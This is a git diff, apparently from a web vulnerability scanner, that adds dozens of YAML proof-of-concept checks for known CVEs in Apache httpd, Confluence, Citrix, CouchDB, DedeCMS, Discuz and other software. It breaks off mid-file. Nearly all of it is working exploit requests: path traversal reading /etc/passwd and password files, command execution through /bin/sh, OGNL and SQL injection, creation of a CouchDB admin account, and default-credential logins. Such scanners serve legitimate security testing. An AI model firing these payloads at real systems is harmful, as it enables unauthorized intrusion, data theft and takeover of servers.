/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets + follow_redirects: false + expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html" +detail: + author: Jarcis-cy(https://github.com/Jarcis-cy) + links: + - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438 diff --git a/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml b/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml new file mode 100644 index 0000000..35618a6 --- /dev/null +++ b/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml @@ -0,0 +1,16 @@ +name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal +groups: + cgibin: + - method: GET + path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + icons: + - method: GET + path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: JingLing(https://github.com/shmilylty) + links: + - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ \ No newline at end of file diff --git a/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml b/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml new file mode 100644 index 0000000..f6ebbba --- /dev/null +++ b/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-apache-httpd-cve-2021-41773-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh + body: echo;expr {{r1}} + {{r2}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://nvd.nist.gov/vuln/detail/CVE-2021-41773 diff --git a/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml b/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml new file mode 100644 index 0000000..61dfc3b --- /dev/null +++ b/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml @@ -0,0 +1,10 @@ +name: poc-yaml-apache-kylin-unauth-cve-2020-13937 +rules: + - method: GET + path: /kylin/api/admin/config + expression: | + response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url") +detail: + author: JingLing(github.com/shmilylty) + links: + - https://s.tencent.com/research/bsafe/1156.html diff --git a/WebScan/pocs/apache-nifi-api-unauthorized-access.yml b/WebScan/pocs/apache-nifi-api-unauthorized-access.yml new file mode 100644 index 0000000..59e2537 --- /dev/null +++ b/WebScan/pocs/apache-nifi-api-unauthorized-access.yml @@ -0,0 +1,12 @@ +name: poc-yaml-apache-nifi-api-unauthorized-access +manual: true +transport: http +rules: + - method: GET + path: /nifi-api/flow/current-user + follow_redirects: false + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html diff --git a/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml b/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml index c6ca0a9..fe264a4 100644 --- a/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml +++ b/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml @@ -11,7 +11,7 @@ rules: version="1.0"?>{{rand}}dwisiswant0 follow_redirects: false expression: > - response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand))) + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand))) detail: author: su(https://suzzz112113.github.io/#blog) links: diff --git a/WebScan/pocs/apache-solr-file-read.yml b/WebScan/pocs/apache-solr-file-read.yml deleted file mode 100644 index d1f6648..0000000 --- a/WebScan/pocs/apache-solr-file-read.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: poc-yaml-apache-solr-file-read -rules: - - method: GET - path: "/solr/admin/cores?indexInfo=false&wt=json" - search: | - "name":"(?P.+?)", - expression: - response.status == 200 - - method: POST - path: "/solr/{{core_name}}/config" - headers: - Content-type: application/json - body: | - {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} - expression: | - response.status == 200 && response.body.bcontains(b"This") -detail: - author: flyinbed - links: - - "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg" - - "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ" \ No newline at end of file diff --git a/WebScan/pocs/aspcms-backend-leak.yml b/WebScan/pocs/aspcms-backend-leak.yml new file mode 100644 index 0000000..1a4b888 --- /dev/null +++ b/WebScan/pocs/aspcms-backend-leak.yml @@ -0,0 +1,16 @@ +name: poc-yaml-aspcms-backend-leak +rules: + - method: GET + path: /plug/oem/AspCms_OEMFun.asp + expression: | + response.status == 200 && "")) && response.body.bcontains(b"citrix") +detail: + author: JingLing(https://hackfun.org/) + links: + - https://support.citrix.com/article/CTX276688 + - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/ + - https://dmaasland.github.io/posts/citrix.html diff --git a/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml b/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml new file mode 100644 index 0000000..3f02963 --- /dev/null +++ b/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml @@ -0,0 +1,20 @@ +name: poc-yaml-citrix-cve-2020-8193-unauthorized +set: + user: randomLowercase(8) + pass: randomLowercase(8) +rules: + - method: POST + path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1" + headers: + Content-Type: application/xml + X-NITRO-USER: '{{user}}' + X-NITRO-PASS: '{{pass}}' + body: + follow_redirects: false + expression: > + response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"])) +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py + - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html diff --git a/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml b/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml new file mode 100644 index 0000000..2b00ade --- /dev/null +++ b/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml @@ -0,0 +1,11 @@ +name: poc-yaml-citrix-xenmobile-cve-2020-8209 +rules: + - method: GET + path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-8209 diff --git a/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml b/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml new file mode 100644 index 0000000..e5982f4 --- /dev/null +++ b/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml @@ -0,0 +1,13 @@ +name: poc-yaml-coldfusion-cve-2010-2861-lfi +rules: + - method: GET + path: >- + /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=") +detail: + version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861 \ No newline at end of file diff --git a/WebScan/pocs/confluence-cve-2015-8399.yml b/WebScan/pocs/confluence-cve-2015-8399.yml new file mode 100644 index 0000000..5fa729a --- /dev/null +++ b/WebScan/pocs/confluence-cve-2015-8399.yml @@ -0,0 +1,10 @@ +name: poc-yaml-confluence-cve-2015-8399 +rules: + - method: GET + path: /spaces/viewdefaultdecorator.action?decoratorName + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator") +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.anquanke.com/vul/id/1150798 \ No newline at end of file diff --git a/WebScan/pocs/confluence-cve-2019-3396-lfi.yml b/WebScan/pocs/confluence-cve-2019-3396-lfi.yml new file mode 100644 index 0000000..3a5b901 --- /dev/null +++ b/WebScan/pocs/confluence-cve-2019-3396-lfi.yml @@ -0,0 +1,17 @@ +name: poc-yaml-confluence-cve-2019-3396-lfi +rules: + - method: POST + path: /rest/tinymce/1/macro/preview + headers: + Content-Type: "application/json" + Host: localhost + Referer: http://localhost + body: >- + {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"contextConfigLocation") +detail: + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396 \ No newline at end of file diff --git a/WebScan/pocs/confluence-cve-2021-26084.yml b/WebScan/pocs/confluence-cve-2021-26084.yml new file mode 100644 index 0000000..412edda --- /dev/null +++ b/WebScan/pocs/confluence-cve-2021-26084.yml @@ -0,0 +1,15 @@ +name: poc-yaml-confluence-cve-2021-26084 +set: + r1: randomInt(100000, 999999) + r2: randomInt(100000, 999999) +rules: + - method: POST + path: /pages/createpage-entervariables.action?SpaceKey=x + body: | + queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027 + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Loneyer(https://github.com/Loneyers) + links: + - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html diff --git a/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml b/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml new file mode 100644 index 0000000..1dcb230 --- /dev/null +++ b/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml @@ -0,0 +1,12 @@ +name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read +set: + rand: randomLowercase(6) +rules: + - method: GET + path: /s/{{rand}}/_/;/WEB-INF/web.xml + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html diff --git a/WebScan/pocs/consul-rexec-rce.yml b/WebScan/pocs/consul-rexec-rce.yml new file mode 100644 index 0000000..4ab8c55 --- /dev/null +++ b/WebScan/pocs/consul-rexec-rce.yml @@ -0,0 +1,10 @@ +name: poc-yaml-consul-rexec-rce +rules: + - method: GET + path: /v1/agent/self + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false") +detail: + author: imlonghao(https://imlonghao.com/) + links: + - https://www.exploit-db.com/exploits/46073 diff --git a/WebScan/pocs/consul-service-rce.yml b/WebScan/pocs/consul-service-rce.yml new file mode 100644 index 0000000..8426cac --- /dev/null +++ b/WebScan/pocs/consul-service-rce.yml @@ -0,0 +1,10 @@ +name: poc-yaml-consul-service-rce +rules: + - method: GET + path: /v1/agent/self + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true") +detail: + author: imlonghao(https://imlonghao.com/) + links: + - https://www.exploit-db.com/exploits/46074 diff --git a/WebScan/pocs/couchcms-cve-2018-7662.yml b/WebScan/pocs/couchcms-cve-2018-7662.yml new file mode 100644 index 0000000..ed63055 --- /dev/null +++ b/WebScan/pocs/couchcms-cve-2018-7662.yml @@ -0,0 +1,16 @@ +name: poc-yaml-couchcms-cve-2018-7662 +rules: + - method: GET + path: /includes/mysql2i/mysql2i.func.php + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in") + - method: GET + path: /addons/phpmailer/phpmailer.php + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in") +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - https://github.com/CouchCMS/CouchCMS/issues/46 diff --git a/WebScan/pocs/couchdb-cve-2017-12635.yml b/WebScan/pocs/couchdb-cve-2017-12635.yml new file mode 100644 index 0000000..a17528b --- /dev/null +++ b/WebScan/pocs/couchdb-cve-2017-12635.yml @@ -0,0 +1,24 @@ +name: poc-yaml-couchdb-cve-2017-12635 +set: + r1: randomLowercase(32) +rules: + - method: PUT + path: '/_users/org.couchdb.user:{{r1}}' + headers: + Content-Type: application/json + Content-Length: '192' + body: |- + { + "type": "user", + "name": "{{r1}}", + "roles": ["_admin"], + "roles": [], + "password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9" + } + follow_redirects: false + expression: | + response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1)) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 diff --git a/WebScan/pocs/couchdb-unauth.yml b/WebScan/pocs/couchdb-unauth.yml new file mode 100644 index 0000000..a5ba367 --- /dev/null +++ b/WebScan/pocs/couchdb-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-couchdb-unauth +rules: + - method: GET + path: /_config + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.seebug.org/vuldb/ssvid-91597 \ No newline at end of file diff --git a/WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml b/WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml new file mode 100644 index 0000000..31b723d --- /dev/null +++ b/WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +groups: + poc1: + - method: GET + path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}} + expression: | + response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) + poc2: + - method: GET + path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}} + expression: | + response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: x1n9Qi8 + links: + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181 + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757 diff --git a/WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml b/WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml new file mode 100644 index 0000000..0b36ab8 --- /dev/null +++ b/WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml @@ -0,0 +1,14 @@ +name: poc-yaml-datang-ac-default-password-cnvd-2021-04128 +rules: + - method: POST + path: /login.cgi + follow_redirects: false + body: >- + user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95 + expression: | + response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") + +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128 \ No newline at end of file diff --git a/WebScan/pocs/dedecms-carbuyaction-fileinclude.yml b/WebScan/pocs/dedecms-carbuyaction-fileinclude.yml new file mode 100644 index 0000000..13d7c1a --- /dev/null +++ b/WebScan/pocs/dedecms-carbuyaction-fileinclude.yml @@ -0,0 +1,22 @@ +name: poc-yaml-dedecms-carbuyaction-fileinclude +rules: + - method: GET + path: /plus/carbuyaction.php?dopost=return&code=../../ + headers: + Cookie: code=alipay + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /plus/carbuyaction.php?dopost=return&code=../../ + headers: + Cookie: code=cod + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes("Cod::respond()")) + +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "DedeCmsV5.x" + links: + - https://www.cnblogs.com/milantgh/p/3615986.html diff --git a/WebScan/pocs/dedecms-cve-2018-6910.yml b/WebScan/pocs/dedecms-cve-2018-6910.yml new file mode 100644 index 0000000..850d8a3 --- /dev/null +++ b/WebScan/pocs/dedecms-cve-2018-6910.yml @@ -0,0 +1,10 @@ +name: poc-yaml-dedecms-cve-2018-6910 +rules: + - method: GET + path: /include/downmix.inc.php + expression: | + response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()")) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md \ No newline at end of file diff --git a/WebScan/pocs/dedecms-cve-2018-7700-rce.yml b/WebScan/pocs/dedecms-cve-2018-7700-rce.yml new file mode 100644 index 0000000..1674407 --- /dev/null +++ b/WebScan/pocs/dedecms-cve-2018-7700-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dedecms-cve-2018-7700-rce +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: >- + /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "V5.7SP2正式版(2018-01-09)" + links: + - https://xz.aliyun.com/t/2224 diff --git a/WebScan/pocs/dedecms-guestbook-sqli.yml b/WebScan/pocs/dedecms-guestbook-sqli.yml new file mode 100644 index 0000000..b2817d1 --- /dev/null +++ b/WebScan/pocs/dedecms-guestbook-sqli.yml @@ -0,0 +1,26 @@ +name: poc-yaml-dedecms-guestbook-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /plus/guestbook.php + follow_redirects: true + expression: | + response.status == 200 + search: action=admin&id=(?P\d{1,20}) + - method: GET + path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email=' + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /plus/guestbook.php + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) + +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "5.7" + links: + - https://blog.csdn.net/god_7z1/article/details/8180454 diff --git a/WebScan/pocs/dedecms-membergroup-sqli.yml b/WebScan/pocs/dedecms-membergroup-sqli.yml new file mode 100644 index 0000000..a6c9b33 --- /dev/null +++ b/WebScan/pocs/dedecms-membergroup-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dedecms-membergroup-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: >- + /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'` + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "5.6,5.7" + links: + - http://www.dedeyuan.com/xueyuan/wenti/1244.html diff --git a/WebScan/pocs/dedecms-url-redirection.yml b/WebScan/pocs/dedecms-url-redirection.yml new file mode 100644 index 0000000..5c8bf67 --- /dev/null +++ b/WebScan/pocs/dedecms-url-redirection.yml @@ -0,0 +1,13 @@ +name: poc-yaml-dedecms-url-redirection +rules: + - method: GET + path: >- + /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t + follow_redirects: false + expression: > + response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com" +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "V5.7 sp1" + links: + - https://blog.csdn.net/ystyaoshengting/article/details/82734888 \ No newline at end of file diff --git a/WebScan/pocs/discuz-v72-sqli.yml b/WebScan/pocs/discuz-v72-sqli.yml new file mode 100644 index 0000000..4f0c259 --- /dev/null +++ b/WebScan/pocs/discuz-v72-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-discuz-v72-sqli +rules: + - method: GET + path: >- + /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 + follow_redirects: false + expression: > + response.status == 200 && 